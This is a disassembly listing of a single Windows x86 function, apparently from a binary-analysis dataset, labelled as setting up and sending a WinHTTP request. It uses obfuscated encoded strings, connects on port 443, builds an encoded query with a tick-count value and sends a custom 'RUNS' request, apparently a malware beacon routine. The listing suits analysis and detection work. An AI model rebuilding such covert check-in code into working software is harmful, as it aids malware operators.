Function at 0x4068f0
Capabilities:
Initialize winhttp library
Prepare http request
Receive http response

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4489cd
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x64
push ebx
push esi
push edi
mov dword [ebp - 4], 2
call fcn.004015f0
mov ecx, eax
test ecx, ecx
je 0x406dfc
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x14], eax
push str.VWdsRlJSTh4vLC4
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 3
call fcn.00403560
test al, al
jne 0x406953
push 0x10
push str.VWdsRlJSTh4vLC4
lea ecx, [ebp - 0x14]
call fcn.004039e0
push 0
push 0
push 0
mov byte [ebp - 4], 4
mov eax, dword [ebp - 0x14]
push 0
push ecx
add eax, 0xfffffff0
mov esi, esp
mov dword [ebp - 0x2c], esi
mov ecx, eax
mov dword [ebp - 0x2c], eax
call fcn.004037f0
add eax, 0x10
lea ecx, [ebp - 0x20]
mov dword [esi], eax
call fcn.00402190
add esp, 4
push dword [eax]
call dword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov edx, dword [ebp - 0x20]
or ebx, 0xffffffff
mov edi, eax
add edx, 0xfffffff0
mov ecx, ebx
lock xadd dword [edx + 0xc], ecx
dec ecx
test ecx, ecx
jg 0x4069ac
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
test edi, edi
je 0x406d73
push 0
push 0x1bb
push ecx
mov esi, esp
mov dword [ebp - 0x28], esi
call fcn.004015f0
mov ecx, eax
test ecx, ecx
je 0x406e06
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [esi], eax
push str.bmFfbm4scXJtcGM
mov ecx, esi
mov byte [ebp - 4], 5
call fcn.00403560
test al, al
jne 0x4069fc
push 0x10
push str.bmFfbm4scXJtcGM
mov ecx, esi
call fcn.004039e0
lea ecx, [ebp - 0x24]
mov byte [ebp - 4], 4
call fcn.00402190
add esp, 4
push dword [eax]
push edi
call dword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov edx, dword [ebp - 0x24]
mov esi, eax
mov dword [ebp - 0x18], esi
add edx, 0xfffffff0
mov ecx, ebx
lock xadd dword [edx + 0xc], ecx
dec ecx
test ecx, ecx
jg 0x406a33
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
test esi, esi
je 0x406d73
call fcn.0040fc1d
push 0
push 0x2710
push edx
push eax
call fcn.00447f60
mov edi, eax
mov esi, edx
call fcn.004015f0
mov ecx, eax
test ecx, ecx
je 0x406e10
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x20], eax
mov byte [ebp - 4], 6
call dword [sym.imp.KERNEL32.dll_GetTickCount64]
push edx
push eax
test esi, esi
jg 0x406aa3
jl 0x406a82
test edi, edi
jae 0x406aa3
neg edi
lea ecx, [ebp - 0x46]
adc esi, 0
neg esi
push esi
push edi
call fcn.0040b0b0
add esp, 8
mov ecx, 0x2d
sub eax, 2
mov word [eax], cx
jmp 0x406ab0
push esi
push edi
lea ecx, [ebp - 0x46]
call fcn.0040b0b0
add esp, 8
xor ecx, ecx
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x44], ecx
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x30], ecx
lea ecx, [ebp - 0x46]
cmp eax, ecx
jne 0x406ae7
xor eax, eax
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x30], 7
mov word [ebp - 0x44], ax
jmp 0x406b6f
lea esi, [ebp - 0x46]
sub esi, eax
sar esi, 1
cmp esi, 0x7ffffffe
ja 0x406e1a
mov dword [ebp - 0x30], 7
cmp esi, 8
jae 0x406b22
mov dword [ebp - 0x34], esi
add esi, esi
push esi
push eax
lea eax, [ebp - 0x44]
push eax
call fcn.00424eb0
add esp, 0xc
xor eax, eax
mov word [ebp + esi - 0x44], ax
jmp 0x406b6f
mov ebx, esi
or ebx, 7
cmp ebx, 0x7ffffffe
jbe 0x406b36
mov ebx, SysReAllocString
jmp 0x406b40
cmp ebx, 0xa
jae 0x406b40
mov ebx, 0xa
lea eax, [ebx + 1]
push eax
lea ecx, [ebp - 0x44]
call fcn.00404200
mov dword [ebp - 0x34], esi
mov edi, eax
add esi, esi
mov dword [ebp - 0x44], edi
push esi
push dword [ebp - 0x1c]
mov dword [ebp - 0x30], ebx
push edi
call fcn.00424eb0
xor eax, eax
add esp, 0xc
mov word [edi + esi], ax
or ebx, 0xffffffff
mov byte [ebp - 4], 7
lea eax, [ebp - 0x44]
cmp dword [ebp - 0x30], 8
jb 0x406b7f
mov eax, dword [ebp - 0x44]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [0x45dba0]
push 0x45d9a0
push ecx
mov esi, esp
mov dword [ebp - 0x1c], esi
call fcn.004015f0
mov ecx, eax
test ecx, ecx
je 0x406e1f
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [esi], eax
push str.LW5ndmNqLGVnZD1lc2diOyN1cSR0Y3BxZ21sOyN1cSRjdHJdcXBhO2RfXSN1cSRjdHJdX2FyZ21sOyN1cSQjdXEkY2xlXXJna2M7I3VxJGxtYV9hZmM7I2pqcw
mov ecx, esi
mov byte [ebp - 4], 8
call fcn.00403560
test al, al
jne 0x406bd5
push 0x7c
push str.LW5ndmNqLGVnZD1lc2diOyN1cSR0Y3BxZ21sOyN1cSRjdHJdcXBhO2RfXSN1cSRjdHJdX2FyZ21sOyN1cSQjdXEkY2xlXXJna2M7I3VxJGxtYV9hZmM7I2pqcw
mov ecx, esi
call fcn.004039e0
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 7
call fcn.00402190
add esp, 4
mov byte [ebp - 4], 9
push dword [eax]
lea eax, [ebp - 0x20]
push eax
call fcn.0040ac10
mov byte [ebp - 4], 7
add esp, 0x28
mov edx, dword [ebp - 0x28]
mov eax, ebx
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x406c14
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 6
mov ecx, dword [ebp - 0x30]
cmp ecx, 8
jb 0x406c52
mov edx, dword [ebp - 0x44]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x406c48
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x406e29
push ecx
push edx
call fcn.00423a36
add esp, 8
mov esi, dword [ebp - 0x20]
push 0x800000
push 0
push 0
push 0
push esi
push ecx
mov edi, esp
mov dword [ebp - 0x1c], edi
call fcn.004015f0
mov ecx, eax
test ecx, ecx
je 0x406e2e
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [edi], eax
push str.RUNS
mov ecx, edi
mov byte [ebp - 4], 0xa
call fcn.00403560
test al, al
jne 0x406ca2
push 4
push str.RUNS
mov ecx, edi
call fcn.004039e0
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 6
call fcn.00402190
add esp, 4
push dword [eax]
push dword [ebp - 0x18]
call dword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov edx, dword [ebp - 0x28]
mov edi, eax
add edx, 0xfffffff0
mov ecx, ebx
lock xadd dword [edx + 0xc], ecx
dec ecx
test ecx, ecx
jg 0x406cd8
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
test edi, edi
je 0x406d26
push 0x2710
push 0x2710
push 0x2710
push 0x2710
push edi
call dword [sym.imp.WINHTTP.dll_WinHttpSetTimeouts]
test eax, eax
jne 0x406d26
push edi
mov edi, dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
call edi
push dword [ebp - 0x18]
call edi
mov byte [ebp - 4], 4
add esi, 0xfffffff0
mov eax, ebx
lock xadd dword [esi + 0xc], eax
dec eax
test eax, eax
jg 0x406d73
mov ecx, dword [esi]
push esi
mov eax, dword [ecx]
call dword [eax + 4]
jmp 0x406d73
mov byte [ebp - 4], 4
add esi, 0xfffffff0
mov eax, ebx
lock xadd dword [esi + 0xc], eax
dec eax
test eax, eax
jg 0x406d41
mov ecx, dword [esi]
push esi
mov eax, dword [ecx]
call dword [eax + 4]
mov esi, dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
test edi, edi
je 0x406d6e
push 0
push 0
push 0
push 0
push 0
push 0
push edi
call dword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
test eax, eax
je 0x406d6b
push 0
push edi
call dword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
push edi
call esi
push dword [ebp - 0x18]
call esi
mov edx, dword [ebp - 0x2c]
mov eax, ebx
mov byte [ebp - 4], 2
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x406d8e
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 1
mov eax, ebx
mov edx, dword [ebp + 8]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x406dac
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 0
mov eax, ebx
mov edx, dword [ebp + 0xc]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x406dca
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp + 0x10]
lea edx, [eax - 0x10]
lock xadd dword [edx + 0xc], ebx
dec ebx
test ebx, ebx
jg 0x406de9
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov ecx, dword [ebp - 0xc]
xor al, al
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
push 0x80004005
call fcn.004013c0
push 0x80004005
call fcn.004013c0
push 0x80004005
call fcn.004013c0
call fcn.004013a0
push 0x80004005
call fcn.004013c0
call fcn.00428603
push 0x80004005
call fcn.004013c0
int3